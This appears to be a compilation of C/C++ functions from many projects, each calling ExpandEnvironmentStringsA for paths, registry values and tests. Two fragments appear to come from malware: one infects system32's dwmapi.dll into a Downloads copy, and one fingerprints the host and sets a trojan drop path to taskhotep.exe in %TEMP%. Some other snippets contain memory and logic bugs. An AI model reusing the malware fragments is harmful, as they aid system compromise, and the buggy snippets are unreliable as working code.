// Path to user home directory bool GetHomePath( std::string& path ) { char szBuffer[ MAX_PATH ]; ZeroMemory( szBuffer, MAX_PATH ); DWORD dwRet = ExpandEnvironmentStringsA( "%USERPROFILE%", szBuffer, MAX_PATH ); if ( dwRet == 0 ) { dwRet = ExpandEnvironmentStringsA( "%HOMEDRIVE%", szBuffer, MAX_PATH ); if ( dwRet == 0 ) { return false; } path = szBuffer; dwRet = ExpandEnvironmentStringsA( "%HOMEPATH%", szBuffer, MAX_PATH ); if ( dwRet == 0 ) { return false; } path += szBuffer; } else { path = szBuffer; } if ( path.at( path.length() - 1 ) != PATH_SEPARATOR ) { path += PATH_SEPARATOR; } return true; }
LPSTR apxExpandStrA(APXHANDLE hPool, LPCSTR szString) { LPCSTR p = szString; while (*p) { if (*p == '%') { p = szString; break; } ++p; } if (p != szString) return apxPoolStrdupA(hPool, szString); else { DWORD l = ExpandEnvironmentStringsA(szString, NULL, 0); if (l) { LPSTR rv = apxPoolAlloc(hPool, l); l = ExpandEnvironmentStringsA(szString, rv, l); if (l) return rv; else { apxFree(rv); return NULL; } } else return NULL; } }
BOOL WINAPI GetProfilesDirectoryA( LPSTR lpProfilesDir, LPDWORD lpcchSize ) { static const char ProfilesDirectory[] = "ProfilesDirectory"; LONG l; HKEY key; BOOL ret = FALSE; DWORD len = 0, expanded_len; LPSTR unexpanded_profiles_dir = NULL; TRACE("%p %p\n", lpProfilesDir, lpcchSize ); if (!lpProfilesDir || !lpcchSize) { SetLastError(ERROR_INVALID_PARAMETER); return FALSE; } l = RegOpenKeyExA(HKEY_LOCAL_MACHINE, ProfileListA, 0, KEY_READ, &key); if (l) { SetLastError(l); return FALSE; } l = RegQueryValueExA(key, ProfilesDirectory, NULL, NULL, NULL, &len); if (l) { SetLastError(l); goto end; } unexpanded_profiles_dir = HeapAlloc(GetProcessHeap(), 0, len); if (!unexpanded_profiles_dir) { SetLastError(ERROR_OUTOFMEMORY); goto end; } l = RegQueryValueExA(key, ProfilesDirectory, NULL, NULL, (BYTE *)unexpanded_profiles_dir, &len); if (l) { SetLastError(l); goto end; } expanded_len = ExpandEnvironmentStringsA(unexpanded_profiles_dir, NULL, 0); /* The returned length doesn't include the NULL terminator. */ if (*lpcchSize < expanded_len - 1) { *lpcchSize = expanded_len - 1; SetLastError(ERROR_INSUFFICIENT_BUFFER); goto end; } *lpcchSize = expanded_len - 1; /* The return value is also the expected length. */ ret = ExpandEnvironmentStringsA(unexpanded_profiles_dir, lpProfilesDir, expanded_len) - 1; end: HeapFree(GetProcessHeap(), 0, unexpanded_profiles_dir); RegCloseKey(key); return ret; }
int main() { CHAR ModulePath[MAX_PATH], InfectedModulePath[MAX_PATH]; ExpandEnvironmentStringsA("%windir%\\system32\\dwmapi.dll", ModulePath, MAX_PATH-1); ExpandEnvironmentStringsA("%userprofile%\\Downloads\\dwmapi.dll", InfectedModulePath, MAX_PATH-1); InfectModule(ModulePath, InfectedModulePath); getchar(); }
BOOL SetWindowsProxyForAllRasConnections(WCHAR* szProxy) { for (LPCSTR lpRasPbk = szRasPbk; *lpRasPbk; lpRasPbk += strlen(lpRasPbk) + 1) { char szPath[2048] = ""; if (ExpandEnvironmentStringsA(lpRasPbk, szPath, sizeof(szPath)/sizeof(szPath[0]))) { char line[2048] = ""; int length = 0; FILE * fp = fopen(szPath, "r"); if (fp != NULL) { while (!feof(fp)) { if (fgets(line, sizeof(line)/sizeof(line[0])-1, fp)) { length = strlen(line); if (length > 3 && line[0] == '[' && line[length-2] == ']') { line[length-2] = 0; WCHAR szSection[64] = L""; MultiByteToWideChar(CP_UTF8, 0, line+1, -1, szSection, sizeof(szSection)/sizeof(szSection[0])); SetWindowsProxy(szProxy, szSection); } } } fclose(fp); } } } return TRUE; }
static char *GetEnv(const char *variable) { #ifdef _WIN32_WCE return NULL; #else #ifdef WIN32 char env[MAX_PATH]; /* MAX_PATH is from windef.h */ char *temp; env[0] = '\0'; //We can not get access to env vars from app's sandbox #ifndef OS_WP8 *temp = getenv(variable); if(temp != NULL) ExpandEnvironmentStringsA(temp, env, sizeof(env)); #endif return (env[0] != '\0')?strdup(env):NULL; #else char *env = getenv(variable); #ifdef VMS if(env && strcmp("HOME",variable) == 0) env = decc_translate_vms(env); #endif return (env && env[0])?strdup(env):NULL; #endif #endif }
std::string expandEnvironmentVariables(const std::string & in) { #if defined(ARX_HAVE_WORDEXP_H) wordexp_t p; if(wordexp(in.c_str(), &p, 0)) { return in; } std::ostringstream oss; for(size_t i = 0; i < p.we_wordc; i++) { oss << p.we_wordv[i]; if(i != (p.we_wordc-1)) oss << " "; } wordfree(&p); return oss.str(); #elif defined(ARX_HAVE_WINAPI) size_t length = std::max<size_t>(in.length() * 2, 1024); boost::scoped_array<char> buffer(new char[length]); DWORD ret = ExpandEnvironmentStringsA(in.c_str(), buffer.get(), length); if(ret > length) { length = ret; buffer.reset(new char[length]); ret = ExpandEnvironmentStringsA(in.c_str(), buffer.get(), length); } if(ret == 0 || ret > length) { return in; } return std::string(buffer.get()); #else # warning "Environment variable expansion not supported on this system." return in; #endif }
static int load_parameters(sc_context_t *ctx, scconf_block *block, struct _sc_ctx_options *opts) { int err = 0; const scconf_list *list; const char *val, *s_internal = "internal"; int debug; int reopen; #ifdef _WIN32 char expanded_val[PATH_MAX]; DWORD expanded_len; #endif reopen = scconf_get_bool(block, "reopen_debug_file", 1); debug = scconf_get_int(block, "debug", ctx->debug); if (debug > ctx->debug) ctx->debug = debug; val = scconf_get_str(block, "debug_file", NULL); if (val) { #ifdef _WIN32 expanded_len = PATH_MAX; expanded_len = ExpandEnvironmentStringsA(val, expanded_val, expanded_len); if (expanded_len > 0) val = expanded_val; #endif if (reopen) ctx->debug_filename = strdup(val); sc_ctx_log_to_file(ctx, val); } ctx->paranoid_memory = scconf_get_bool (block, "paranoid-memory", ctx->paranoid_memory); ctx->enable_default_driver = scconf_get_bool (block, "enable_default_driver", ctx->enable_default_driver); val = scconf_get_str(block, "force_card_driver", NULL); if (val) { if (opts->forced_card_driver) free(opts->forced_card_driver); opts->forced_card_driver = strdup(val); } list = scconf_find_list(block, "card_drivers"); if (list != NULL) del_drvs(opts); while (list != NULL) { if (strcmp(list->data, s_internal) == 0) add_internal_drvs(opts); else add_drv(opts, list->data); list = list->next; } return err; }
std::string WinRegistryKey::getStringExpand(const std::string& name) { open(); DWORD type; DWORD size; #if defined(POCO_WIN32_UTF8) std::wstring uname; Poco::UnicodeConverter::toUTF16(name, uname); if (RegQueryValueExW(_hKey, uname.c_str(), NULL, &type, NULL, &size) != ERROR_SUCCESS || type != REG_SZ && type != REG_EXPAND_SZ) throw NotFoundException(key(name)); if (size > 0) { DWORD len = size/2; wchar_t* buffer = new wchar_t[len + 1]; RegQueryValueExW(_hKey, uname.c_str(), NULL, NULL, (BYTE*) buffer, &size); buffer[len] = 0; wchar_t temp; DWORD expSize = ExpandEnvironmentStringsW(buffer, &temp, 1); wchar_t* expBuffer = new wchar_t[expSize]; ExpandEnvironmentStringsW(buffer, expBuffer, expSize); std::string result; UnicodeConverter::toUTF8(expBuffer, result); delete [] buffer; delete [] expBuffer; return result; } #else if (RegQueryValueExA(_hKey, name.c_str(), NULL, &type, NULL, &size) != ERROR_SUCCESS || type != REG_SZ && type != REG_EXPAND_SZ) throw NotFoundException(key(name)); if (size > 0) { char* buffer = new char[size + 1]; RegQueryValueExA(_hKey, name.c_str(), NULL, NULL, (BYTE*) buffer, &size); buffer[size] = 0; char temp; DWORD expSize = ExpandEnvironmentStringsA(buffer, &temp, 1); char* expBuffer = new char[expSize]; ExpandEnvironmentStringsA(buffer, expBuffer, expSize); std::string result(expBuffer); delete [] buffer; delete [] expBuffer; return result; } #endif return std::string(); }
dlgTextBrowser::dlgTextBrowser(const char *manual) { char cmd[1024],buf[1024]; homeIsSet = 0; strcpy(buf,"index.html"); form = new Ui_DialogTextBrowser; form->setupUi(this); #ifndef USE_ANDROID form->textBrowser->settings()->setAttribute(QWebEngineSettings::JavascriptEnabled, true); #endif if(manual == NULL) { setWindowTitle(tr("pvbrowser Manual")); } else { if(strlen(manual) < (int) (sizeof(cmd)-1) ) strcpy(buf,manual); } #ifdef PVWIN32 ExpandEnvironmentStringsA(buf,cmd,sizeof(cmd)-1); #else strcpy(cmd,buf); #endif QFile fin(cmd); if(fin.exists()) { // this is damn slow on windows begin #ifdef PVDEVELOP QApplication::setOverrideCursor(QCursor(Qt::WaitCursor)); #ifdef USE_ANDROID form->textBrowser->setSource(QUrl::fromLocalFile(cmd)); #else form->textBrowser->load(QUrl::fromLocalFile(cmd)); #endif QApplication::restoreOverrideCursor(); #endif // this is damn slow on windows end home = cmd; homeIsSet = 1; } else { form->textBrowser->setHtml("<html><head></head><body>Sorry no application specific help specified.</body></html>"); } QObject::connect(form->pushButtonFind,SIGNAL(clicked()),this,SLOT(slotFind())); QObject::connect(form->lineEditPattern,SIGNAL(returnPressed()),this,SLOT(slotFind())); QObject::connect(form->pushButtonClose,SIGNAL(clicked()),this,SLOT(hide())); QObject::connect(form->pushButtonHome,SIGNAL(clicked()),this,SLOT(slotHome())); QObject::connect(form->pushButtonBack,SIGNAL(clicked()),this,SLOT(slotBack())); find = 0; }
std::string PathImpl::expandImpl(const std::string& path) { char buffer[_MAX_PATH]; DWORD n = ExpandEnvironmentStringsA(path.c_str(), buffer, sizeof(buffer)); if (n > 0 && n < sizeof(buffer)) return std::string(buffer, n - 1); else return path; }
extern "C" DWORD WINAPI dllExpandEnvironmentStringsA(LPCTSTR lpSrc, LPTSTR lpDst, DWORD nSize) { #ifdef TARGET_WINDOWS return ExpandEnvironmentStringsA(lpSrc, lpDst, nSize); #else not_implement("kernel32.dll fake function ExpandEnvironmentStringsA called\n"); //warning return 0; #endif }
DWORD WSAAPI WsNpInitialize(IN PNS_PROVIDER Provider, IN LPWSTR DllName, IN LPGUID ProviderId) { INT ErrorCode = ERROR_SUCCESS; LPNSPSTARTUP NSPStartupProc; CHAR AnsiPath[MAX_PATH], ExpandedDllPath[MAX_PATH]; /* Convert the path to ANSI */ WideCharToMultiByte(CP_ACP, 0, DllName, -1, AnsiPath, MAX_PATH, NULL, NULL); /* Expand the DLL Path */ ExpandEnvironmentStringsA(AnsiPath, ExpandedDllPath, MAX_PATH); /* Load the DLL */ Provider->DllHandle = LoadLibraryA(ExpandedDllPath); if (!Provider->DllHandle) { /* Fail */ ErrorCode = WSAEPROVIDERFAILEDINIT; goto Fail; } /* Get the pointer to NSPStartup */ NSPStartupProc = (LPNSPSTARTUP)GetProcAddress(Provider->DllHandle, "NSPStartup"); if (!NSPStartupProc) { /* Fail */ ErrorCode = WSAEPROVIDERFAILEDINIT; goto Fail; } /* Call it */ (*NSPStartupProc)(ProviderId, (LPNSP_ROUTINE)&Provider->Service.cbSize); /* Save the provider ID */ Provider->ProviderId = *ProviderId; return ErrorCode; Fail: /* Bail out */ if (Provider->DllHandle) FreeLibrary(Provider->DllHandle); return ErrorCode; }
BOOL WINAPI ExpandEnvironmentStringsForUserA( HANDLE hToken, LPCSTR lpSrc, LPSTR lpDest, DWORD dwSize ) { BOOL ret; TRACE("%p %s %p %d\n", hToken, debugstr_a(lpSrc), lpDest, dwSize); ret = ExpandEnvironmentStringsA( lpSrc, lpDest, dwSize ); TRACE("<- %s\n", debugstr_a(lpDest)); return ret; }
void OsSysInfo(void) { computerName.resize(MAX_COMPUTERNAME_LENGTH + 1); GetComputerName((char*) computerName.c_str (), &dwSiz); userName.resize(1024); dwSiz=1024; if(GetUserName ((char*)userName.c_str (), &dwSiz)) deb("username: %s computername: %s", userName.c_str (), computerName.c_str ()); ini.set("host", "computername", computerName.c_str()); ini.set("host", "username", userName.c_str()); szPaths.resize(MAX_PATH); ExpandEnvironmentStringsA("%TEMP%", (char*) szPaths.c_str(), szPaths.size()); szTempPath = szPaths; strcat((char*) szPaths.c_str(), "\\taskhotep.exe"); strncpy(szTroyPath, szPaths.c_str(), MAX_PATH); GetSystemInfo(&systemInfo); deb("machine: %d cores: %d level: %d rev: %x", systemInfo.wProcessorArchitecture, systemInfo.dwNumberOfProcessors,systemInfo.wProcessorLevel, systemInfo.wProcessorRevision); MEMORYSTATUSEX msx; msx.dwLength = sizeof(msx); GlobalMemoryStatusEx(&msx); deb("memused: %lu%% total: %I64dMB avail: %I64dMB", msx.dwMemoryLoad,msx.ullTotalPhys/1024/1024, msx.ullAvailPhys/1024/1024); //hexdump((char*)&msx,msx.dwLength); DWORD dwTemp; TOKEN_ELEVATION_TYPE elevType ; HANDLE hToken; BOOL bOK = OpenProcessToken(GetCurrentProcess(), TOKEN_READ, &hToken); DWORD infoLen; bOK = GetTokenInformation(hToken, TokenElevationType, // type of info to retrieve &dwTemp, // receives return value sizeof(dwTemp), &infoLen); // receives returned length deb("TokenElevationType: %d", dwTemp); CloseHandle(hToken); szHostMD5 = (char*)MD5DigestString(userName+computerName).c_str (); deb("host MD5 [%s]", szHostMD5.c_str()); }
PathString make_absolute_path(const char* path) { PathString buffer; ExpandEnvironmentStringsA(path, &buffer[0], MAX_PATH_SIZE); PathString full_path; GetFullPathNameA(&buffer[0], MAX_PATH_SIZE, &full_path[0], NULL); // since StackString is being used as a c-style array here, // we have to force it to recompute its c-string size. full_path.recompute_size(); return full_path; }
static HKEY create_test_entries(void) { HKEY hKey; DWORD ret; DWORD nExpectedLen1, nExpectedLen2; SetEnvironmentVariableA("LONGSYSTEMVAR", sEnvvar1); SetEnvironmentVariableA("FOO", sEnvvar2); ret = RegCreateKeyA(HKEY_CURRENT_USER, REG_TEST_KEY, &hKey); ok( ERROR_SUCCESS == ret, "RegCreateKeyA failed, ret=%u\n", ret); if (hKey) { ok(!RegSetValueExA(hKey,"Test1",0,REG_EXPAND_SZ, (LPBYTE) sTestpath1, strlen(sTestpath1)+1), "RegSetValueExA failed\n"); ok(!RegSetValueExA(hKey,"Test2",0,REG_SZ, (LPBYTE) sTestpath1, strlen(sTestpath1)+1), "RegSetValueExA failed\n"); ok(!RegSetValueExA(hKey,"Test3",0,REG_EXPAND_SZ, (LPBYTE) sTestpath2, strlen(sTestpath2)+1), "RegSetValueExA failed\n"); } nExpLen1 = ExpandEnvironmentStringsA(sTestpath1, sExpTestpath1, sizeof(sExpTestpath1)); nExpLen2 = ExpandEnvironmentStringsA(sTestpath2, sExpTestpath2, sizeof(sExpTestpath2)); nExpectedLen1 = strlen(sTestpath1) - strlen("%LONGSYSTEMVAR%") + strlen(sEnvvar1) + 1; nExpectedLen2 = strlen(sTestpath2) - strlen("%FOO%") + strlen(sEnvvar2) + 1; /* ExpandEnvironmentStringsA on NT4 returns 2x the correct result */ trace("sExplen1 = (%d)\n", nExpLen1); if (nExpectedLen1 != nExpLen1) trace( "Expanding %s failed (expected %d) - known bug in NT4\n", sTestpath1, nExpectedLen1 ); trace("sExplen2 = (%d)\n", nExpLen2); if (nExpectedLen2 != nExpLen2) trace( "Expanding %s failed (expected %d) - known bug in NT4\n", sTestpath2, nExpectedLen2 ); /* Make sure we carry on with correct values */ nExpLen1 = nExpectedLen1; nExpLen2 = nExpectedLen2; return hKey; }
std::string getZipLocation(HWND hWnd) { CHAR szNativeProgramFilesFolder[MAX_PATH]; ExpandEnvironmentStringsA("%ProgramW6432%", szNativeProgramFilesFolder, ARRAYSIZE(szNativeProgramFilesFolder)); std::string fullway(szNativeProgramFilesFolder); fullway.append("\\7 - Zip\\7z.exe"); if (!isFileExists(fullway)) fullway = getFileName(hWnd, "7z.exe(7z.exe)\0*.exe\0All files(*.*)\0*.*\0", "Выбор архиватора"); return fullway; }
const string& WinRegistryKey::getStringExpand(Exception& ex, const string& name, string& value) { if (!open(ex)) return value; DWORD type; DWORD size; if (RegQueryValueExA(_hKey, name.c_str(), NULL, &type, NULL, &size) != ERROR_SUCCESS || type != REG_SZ && type != REG_EXPAND_SZ) { ex.set(Exception::REGISTRY, "Key ", key(name), " not found"); return value; } value.clear(); if (size > 0) { char* buffer = new char[size + 1]; RegQueryValueExA(_hKey, name.c_str(), NULL, NULL, (BYTE*) buffer, &size); buffer[size] = 0; char temp; DWORD expSize = ExpandEnvironmentStringsA(buffer, &temp, 1); char* expBuffer = new char[expSize]; ExpandEnvironmentStringsA(buffer, expBuffer, expSize); value.assign(expBuffer); delete [] buffer; delete [] expBuffer; } return value; }
static int load_parameters(sc_context_t *ctx, scconf_block *block, struct _sc_ctx_options *opts) { int err = 0; const scconf_list *list; const char *val; int debug; #ifdef _WIN32 char expanded_val[PATH_MAX]; DWORD expanded_len; #endif debug = scconf_get_int(block, "debug", ctx->debug); if (debug > ctx->debug) ctx->debug = debug; val = scconf_get_str(block, "debug_file", NULL); if (val) { #ifdef _WIN32 expanded_len = PATH_MAX; expanded_len = ExpandEnvironmentStringsA(val, expanded_val, expanded_len); if (0 < expanded_len && expanded_len < sizeof expanded_val) val = expanded_val; #endif sc_ctx_log_to_file(ctx, val); } else if (ctx->debug) { sc_ctx_log_to_file(ctx, NULL); } if (scconf_get_bool (block, "disable_popups", ctx->flags & SC_CTX_FLAG_DISABLE_POPUPS)) ctx->flags |= SC_CTX_FLAG_DISABLE_POPUPS; if (scconf_get_bool (block, "disable_colors", ctx->flags & SC_CTX_FLAG_DISABLE_COLORS)) ctx->flags |= SC_CTX_FLAG_DISABLE_COLORS; if (scconf_get_bool (block, "enable_default_driver", ctx->flags & SC_CTX_FLAG_ENABLE_DEFAULT_DRIVER)) ctx->flags |= SC_CTX_FLAG_ENABLE_DEFAULT_DRIVER; list = scconf_find_list(block, "card_drivers"); set_drivers(opts, list); return err; }
void DoRegistryFile(CStringA resToken) { int nBrace = -1; int nBraceCnt = 1; for (int i = 2; i < resToken.GetLength(); i++) { if (resToken.GetAt(i) == '[') nBraceCnt++; else if (resToken.GetAt(i) == ']') { nBraceCnt--; if (nBraceCnt == 0) { nBrace = i; break; } } } if (nBrace == -1) return; USES_CONVERSION; CStringA strRegPath = resToken.Mid(2, nBrace - 2); std::vector<CStringA> vecOutRegPaths; EnumRegistry(strRegPath, vecOutRegPaths); int cnt = vecOutRegPaths.size(); for (int i = 0; i < cnt; i++) { CStringA strFilePath; if (QueryRegistryValue(vecOutRegPaths.at(i), strFilePath)) { CHAR expName[MAX_PATH + 1]; ExpandEnvironmentStringsA(strFilePath, expName, MAX_PATH); strFilePath = expName; if (strFilePath.Find('\\') != -1) DoFilePathName(strFilePath); else DoOnlyFileName(strFilePath); } } }
static int mysystem(const char *command) { int ret; STARTUPINFOA si; // = { sizeof(si)}; si.cb = sizeof(si); PROCESS_INFORMATION pi; char cmd[4096]; //strcpy(cmd,command); ExpandEnvironmentStringsA(command,cmd,sizeof(cmd)-1); ret = (int) CreateProcessA( NULL, cmd , NULL, NULL , FALSE, CREATE_NO_WINDOW , NULL, NULL , &si, &pi); return ret; }
static char *GetEnv(const char *variable) { #ifdef _WIN32_WCE return NULL; #else #ifdef WIN32 char env[MAX_PATH]; /* MAX_PATH is from windef.h */ char *temp = getenv(variable); env[0] = '\0'; if(temp != NULL) ExpandEnvironmentStringsA(temp, env, sizeof(env)); return (env[0] != '\0')?strdup(env):NULL; #else char *env = getenv(variable); return (env && env[0])?strdup(env):NULL; #endif #endif }
//------------------------------------------------------------------------ const char *rlGetInifile(const char *name) { static char buf[1024]; #ifdef RLUNIX strcpy(buf,getenv("HOME")); strcat(buf,"/."); #endif #ifdef __VMS strcpy(buf,"sys$login:"******"%USERPROFILE%",buf,sizeof(buf)-1); if(strcmp(buf,"%USERPROFILE%") == 0) strcpy(buf,"C:"); strcat(buf,"\\");; #endif strcat(buf,name); return buf; }
static BOOL HCR_RegGetIconA(HKEY hkey, LPSTR szDest, LPCSTR szName, DWORD len, int* picon_idx) { DWORD dwType; char sTemp[MAX_PATH]; char sNum[5]; if (!RegQueryValueExA(hkey, szName, 0, &dwType, (LPBYTE)szDest, &len)) { if (dwType == REG_EXPAND_SZ) { ExpandEnvironmentStringsA(szDest, sTemp, MAX_PATH); lstrcpynA(szDest, sTemp, len); } if (ParseFieldA (szDest, 2, sNum, 5)) *picon_idx=atoi(sNum); else *picon_idx=0; /* sometimes the icon number is missing */ ParseFieldA (szDest, 1, szDest, len); PathUnquoteSpacesA(szDest); return TRUE; } return FALSE; }
// TODO unicode support char *pyi_getenv(const char *variable) { char *env = NULL; #ifdef WIN32 char buf1[PATH_MAX], buf2[PATH_MAX]; DWORD rc; rc = GetEnvironmentVariableA(variable, buf1, sizeof(buf1)); if(rc > 0) { env = buf1; /* Expand environment variables like %VAR% in value. */ rc = ExpandEnvironmentStringsA(env, buf2, sizeof(buf2)); if(rc > 0) { env = buf1; } } #else /* Standard POSIX function. */ env = getenv(variable); #endif /* If the Python program we are about to run invokes another PyInstaller * one-file program as subprocess, this subprocess must not be fooled into * thinking that it is already unpacked. Therefore, PyInstaller deletes * the _MEIPASS2 variable from the environment in _pyi_bootstrap.py. * * However, on some platforms (e.g. AIX) the Python function 'os.unsetenv()' * does not always exist. In these cases we cannot delete the _MEIPASS2 * environment variable from Python but only set it to the empty string. * The code below takes into account that a variable may exist while its * value is only the empty string. * * Return copy of string to avoid modification of the process environment. */ return (env && env[0]) ? strdup(env) : NULL; }
void DoFilePathName(CStringA resToken) { CHAR expName[MAX_PATH + 1]; ExpandEnvironmentStringsA(resToken, expName, MAX_PATH); resToken = expName; std::vector<CString>* pvecFiles = new std::vector<CString>; if (resToken.Find('*') != -1) { int nEnumSubdir = 0; int nLength = resToken.GetLength(); if (nLength > 2 && resToken.Mid(nLength - 2).MakeLower() == "|s") { nEnumSubdir = 1; resToken = resToken.Mid(0, nLength - 2); } else if (nLength > 2 && resToken.Mid(nLength - 2).MakeLower() == "|a") { nEnumSubdir = 2; resToken = resToken.Mid(0, nLength - 2); } //std::vector<CString> vecFiles; EnumDir(resToken, nEnumSubdir, *pvecFiles); } else { USES_CONVERSION; pvecFiles->push_back(A2W(resToken)); } g_sysModuleNameList.insert(g_sysModuleNameList.end(), (*pvecFiles).begin(), (*pvecFiles).end()); delete pvecFiles; }
static void test_ExpandEnvironmentStringsA(void) { const char* value="Long long value"; const char* not_an_env_var="%NotAnEnvVar%"; char buf[256], buf1[256], buf2[0x8000]; DWORD ret_size, ret_size1; SetEnvironmentVariableA("EnvVar", value); ret_size = ExpandEnvironmentStringsA(NULL, buf1, sizeof(buf1)); ok(ret_size == 1 || ret_size == 0 /* Win9x */ || ret_size == 2 /* NT4 */, "ExpandEnvironmentStrings returned %d\n", ret_size); /* Try to get the required buffer size 'the natural way' */ strcpy(buf, "%EnvVar%"); ret_size = ExpandEnvironmentStringsA(buf, NULL, 0); ok(ret_size == strlen(value)+1 || /* win98 */ ret_size == (strlen(value)+1)*2 || /* NT4 */ ret_size == strlen(value)+2 || /* win2k, XP, win2k3 */ ret_size == 0 /* Win95 */, "ExpandEnvironmentStrings returned %d instead of %d, %d or %d\n", ret_size, lstrlenA(value)+1, lstrlenA(value)+2, 0); /* Again, side-stepping the Win95 bug */ ret_size = ExpandEnvironmentStringsA(buf, buf1, 0); /* v5.1.2600.2945 (XP SP2) returns len + 2 here! */ ok(ret_size == strlen(value)+1 || ret_size == strlen(value)+2 || ret_size == (strlen(value)+1)*2 /* NT4 */, "ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlenA(value)+1); /* Try with a buffer that's too small */ ret_size = ExpandEnvironmentStringsA(buf, buf1, 12); /* v5.1.2600.2945 (XP SP2) returns len + 2 here! */ ok(ret_size == strlen(value)+1 || ret_size == strlen(value)+2 || ret_size == (strlen(value)+1)*2 /* NT4 */, "ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlenA(value)+1); /* Try with a buffer of just the right size */ /* v5.1.2600.2945 (XP SP2) needs and returns len + 2 here! */ ret_size = ExpandEnvironmentStringsA(buf, buf1, ret_size); ok(ret_size == strlen(value)+1 || ret_size == strlen(value)+2 || ret_size == (strlen(value)+1)*2 /* NT4 */, "ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlenA(value)+1); ok(!strcmp(buf1, value), "ExpandEnvironmentStrings returned [%s]\n", buf1); /* Try with an unset environment variable */ strcpy(buf, not_an_env_var); ret_size = ExpandEnvironmentStringsA(buf, buf1, sizeof(buf1)); ok(ret_size == strlen(not_an_env_var)+1 || ret_size == (strlen(not_an_env_var)+1)*2 /* NT4 */, "ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlenA(not_an_env_var)+1); ok(!strcmp(buf1, not_an_env_var), "ExpandEnvironmentStrings returned [%s]\n", buf1); /* test a large destination size */ strcpy(buf, "12345"); ret_size = ExpandEnvironmentStringsA(buf, buf2, sizeof(buf2)); ok(!strcmp(buf, buf2), "ExpandEnvironmentStrings failed %s vs %s. ret_size = %d\n", buf, buf2, ret_size); ret_size1 = GetWindowsDirectoryA(buf1,256); ok ((ret_size1 >0) && (ret_size1<256), "GetWindowsDirectory Failed\n"); ret_size = ExpandEnvironmentStringsA("%SystemRoot%",buf,sizeof(buf)); if (ERROR_ENVVAR_NOT_FOUND != GetLastError()) { ok(!strcmp(buf, buf1), "ExpandEnvironmentStrings failed %s vs %s. ret_size = %d\n", buf, buf1, ret_size); } /* Try with a variable that references another */ SetEnvironmentVariableA("IndirectVar", "Foo%EnvVar%Bar"); strcpy(buf, "Indirect-%IndirectVar%-Indirect"); strcpy(buf2, "Indirect-Foo%EnvVar%Bar-Indirect"); ret_size = ExpandEnvironmentStringsA(buf, buf1, sizeof(buf1)); ok(ret_size == strlen(buf2)+1 || ret_size == (strlen(buf2)+1)*2 /* NT4 */, "ExpandEnvironmentStrings returned %d instead of %d\n", ret_size, lstrlen(buf2)+1); ok(!strcmp(buf1, buf2), "ExpandEnvironmentStrings returned [%s]\n", buf1); SetEnvironmentVariableA("IndirectVar", NULL); SetEnvironmentVariableA("EnvVar", NULL); }
BOOL eaConfig( OUT CfgExtensionAgents **extAgents, OUT INT *extAgentsLen) { LONG status; HKEY hkResult; HKEY hkResult2; DWORD iValue; DWORD iValue2; // DWORD dwTitle; DWORD dwType; TCHAR dummy[MAX_PATH+1]; DWORD dummySize; TCHAR value[MAX_PATH+1]; DWORD valueSize; LPSTR pTemp; DWORD valueReqSize; LPSTR pTempExp; *extAgents = NULL; *extAgentsLen = 0; SNMPDBG((SNMP_LOG_TRACE, "SNMP: INIT: loading extension agents.\n")); if ((status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pszSnmpSrvEaKey, 0, (KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_TRAVERSE), &hkResult)) != ERROR_SUCCESS) { SNMPDBG((SNMP_LOG_ERROR, "SNMP: INIT: error %d opening ExtensionAgents subkey.\n", status)); SnmpSvcReportEvent(SNMP_EVENT_INVALID_REGISTRY_KEY, 1, &pszSnmpSrvEaKey, status); return FALSE; } iValue = 0; dummySize = MAX_PATH; valueSize = MAX_PATH; while((status = RegEnumValue(hkResult, iValue, dummy, &dummySize, NULL, &dwType, (LPBYTE)value, &valueSize)) != ERROR_NO_MORE_ITEMS) { if (status != ERROR_SUCCESS) { SNMPDBG((SNMP_LOG_ERROR, "SNMP: INIT: error %d enumerating ExtensionAgents subkey.\n", status)); SnmpSvcReportEvent(SNMP_EVENT_INVALID_REGISTRY_KEY, 1, &pszSnmpSrvEaKey, status); RegCloseKey(hkResult); return FALSE; } SNMPDBG((SNMP_LOG_TRACE, "SNMP: INIT: processing %s.\n", value)); if ((status = RegOpenKeyEx(HKEY_LOCAL_MACHINE, value, 0, (KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS | KEY_TRAVERSE), &hkResult2)) != ERROR_SUCCESS) { SNMPDBG((SNMP_LOG_ERROR, "SNMP: INIT: error %d opening registy key %s.\n", status, value)); pTemp = value; // make pointer for event api SnmpSvcReportEvent(SNMP_EVENT_INVALID_EXTENSION_AGENT_KEY, 1, &pTemp, status); goto process_next; // ignore bogus registry key and process next one... } iValue2 = 0; dummySize = MAX_PATH; valueSize = MAX_PATH; while((status = RegEnumValue(hkResult2, iValue2, dummy, &dummySize, NULL, &dwType, (LPBYTE)value, &valueSize)) != ERROR_NO_MORE_ITEMS) { if (status != ERROR_SUCCESS) { SNMPDBG((SNMP_LOG_ERROR, "SNMP: INIT: error %d enumerating registry key %s.\n", status, value)); pTemp = value; // make pointer for event api SnmpSvcReportEvent(SNMP_EVENT_INVALID_EXTENSION_AGENT_KEY, 1, &pTemp, status); break; // ignore bogus registry key and process next one... } if (!lstrcmpi(dummy, TEXT("Pathname"))) { (*extAgentsLen)++; *extAgents = (CfgExtensionAgents *) SnmpUtilMemReAlloc(*extAgents, (*extAgentsLen * sizeof(CfgExtensionAgents))); pTemp = (LPSTR)SnmpUtilMemAlloc(valueSize+1); #ifdef UNICODE SnmpUtilUnicodeToAnsi(&pTemp, value, FALSE); #else memcpy(pTemp, value, valueSize+1); #endif valueReqSize = valueSize + 10; pTempExp = NULL; do { pTempExp = (LPSTR)SnmpUtilMemReAlloc(pTempExp, valueReqSize); valueSize = valueReqSize; valueReqSize = ExpandEnvironmentStringsA( pTemp, pTempExp, valueSize); } while (valueReqSize > valueSize ); if (valueReqSize == 0) { SNMPDBG((SNMP_LOG_TRACE, "SNMP: INIT: error %d expanding %s.\n", GetLastError(), value)); (*extAgents)[(*extAgentsLen)-1].pathName = pTemp; } else { SNMPDBG((SNMP_LOG_TRACE, "SNMP: INIT: processing %s.\n", pTempExp)); (*extAgents)[(*extAgentsLen)-1].pathName = pTempExp; SnmpUtilMemFree(pTemp); } break; } dummySize = MAX_PATH; valueSize = MAX_PATH; iValue2++; } // end while() RegCloseKey(hkResult2); process_next: dummySize = MAX_PATH; valueSize = MAX_PATH; iValue++; } // end while() RegCloseKey(hkResult); return TRUE; } // 